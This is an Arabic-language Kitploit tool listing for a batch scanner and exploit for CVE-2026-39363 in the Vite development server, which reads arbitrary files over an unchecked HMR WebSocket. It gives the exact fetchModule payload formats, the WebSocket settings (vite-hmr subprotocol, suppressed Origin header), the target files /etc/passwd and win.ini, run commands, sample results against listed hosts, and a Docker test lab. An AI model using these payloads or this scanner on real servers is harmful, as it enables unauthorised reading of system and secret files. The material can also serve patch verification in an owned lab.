Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39363 — ماسح ثغرات دفعة واحدة لثغرة CVE-2026-39363 في خادم تطوير Vite، يستغل تجاوز التحقق من أصل WebSocket لقراءة ملفات عشوائية عبر fetchModule باستخدام بروتوكول file://. | Kitploit
أدوات/GitHubGitHub/f4s1on/cve-2026-39363
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubf4s1on/cve-2026-39363

CVE-2026-39363

ماسح ثغرات دفعة واحدة لثغرة CVE-2026-39363 في خادم تطوير Vite، يستغل تجاوز التحقق من أصل WebSocket لقراءة ملفات عشوائية عبر fetchModule باستخدام بروتوكول file://.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39363 — قراءة تعسفية للملفات عبر WebSocket في خادم تطوير Vite

إخلاء مسؤولية: هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها والأبحاث التعليمية. يجب على المستخدمين الالتزام بالقوانين واللوائح المحلية، ويُعد فحص أو مهاجمة أنظمة الآخرين دون إذن عملاً غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام.

وصف الثغرة

لا يتحقق خادم تطوير Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) من ترويسة Origin في WebSocket الخاص بـ HMR، ويمكن للمهاجم استدعاء fetchModule عبر حدث vite:invoke، واستخدام بروتوكول file:// مع معامل ?raw لتجاوز قيود server.fs.allow وقراءة أي ملف على الخادم.

سير الفحص

root@kitploit:~
url.txt → http://host:port
  ↓ تحليل host + port
  ↓
┌─ الخطوة 1: محاولة ws://host:المنفذ المحدد
│  ├─ نجاح مصافحة WebSocket + نجاح الاستغلال → الثغرة موجودة
│  └─ فشل → إذا كان المنفذ المحدد == 5173 → الثغرة غير موجودة
│
└─ الخطوة 3: فحص host:5173 (فقط إذا كان المنفذ المحدد ≠ 5173)
   ├─ المنفذ مغلق → الثغرة غير موجودة
   └─ المنفذ مفتوح → مصافحة WebSocket + استغلال على المنفذ 5173
        ├─ نجاح → الثغرة موجودة
        └─ فشل → الثغرة غير موجودة

طريقة الاستخدام

تثبيت التبعيات

root@kitploit:~
pip install -r requirements.txt

تفعيل وإيقاف البروكسي

لتفعيل البروكسي، قم بإلغاء تعليق السطرين 26-27 من السكربت

root@kitploit:~
# لتفعيل البروكسي، قم بإلغاء تعليق السطرين التاليين واضبط عنوان ومنفذ البروكسي الصحيحين
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"

تجهيز الأهداف

اكتب عناوين URL المستهدفة في url.txt، عنوان واحد في كل سطر:

root@kitploit:~
http://192.168.1.100:5173
http://example.com
http://target.cn:8080

التشغيل

root@kitploit:~
python cve_2026_39363.py

المخرجات

الطرفية:

root@kitploit:~
[*] Loaded 3 URL(s), scanning with 3 thread(s)...

http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞

[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt

result.txt:

root@kitploit:~
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)

يحتوي كل سطر على نوع POC (Linux / Windows)، ويحدد خصائص الملف الذي تمت قراءته بنجاح.

ملفات التحقق من POC

نظام التشغيل المستهدفالملف المقروءالعلامة المميزة
Linuxfile:///etc/passwd?rawroot:
Windowsfile:///C:/Windows/win.ini?rawfor 16-bit app support

حمولة الاستغلال

يدعم تنسيقين للحمولة (يتم تجربتهما بالترتيب):

  1. تنسيق Vulhub PoC: {"id":"send:0","name":"fetchModule","data":[file_path]}
  2. تنسيق RPC الداخلي: {"fn":"fetchModule","args":[file_path]}

المعاملات الأساسية لـ WebSocket

المعاملالقيمةالسبب
البروتوكول الفرعيvite-hmrمتطلب WebSocket الخاص بـ Vite HMR
Originإلغاء الإرسال (suppress_origin=True)يرفض Vite الاتصالات غير القادمة من متصفح مع ترويسة Origin

اختبار بيئة Docker الثغرة

root@kitploit:~
# التشغيل
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1

# الفحص
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py

# التنظيف
docker stop vite-vuln && docker rm vite-vuln

الأسئلة الشائعة

س: جميع الفحوصات ترجع "الثغرة غير موجودة"؟

  • تأكد من أن المنفذ 5173 على الهدف مفتوح
  • تأكد من أن خادم تطوير Vite يستخدم --host أو server.host للتعرض للشبكة
  • تأكد من أن WebSocket غير معطل عبر server.ws: false

س: مخرجات مشوشة على Windows؟

  • السكربت يعالج ذلك تلقائيًا، وإذا استمرت المشكلة فتأكد من أن الطرفية بترميز UTF-8

س: ملف url.txt الذي تم إنشاؤه بواسطة PowerShell لا يُحلل؟

  • يستخدم السكربت utf-8-sig لتخطي BOM تلقائيًا
تنزيل الأداة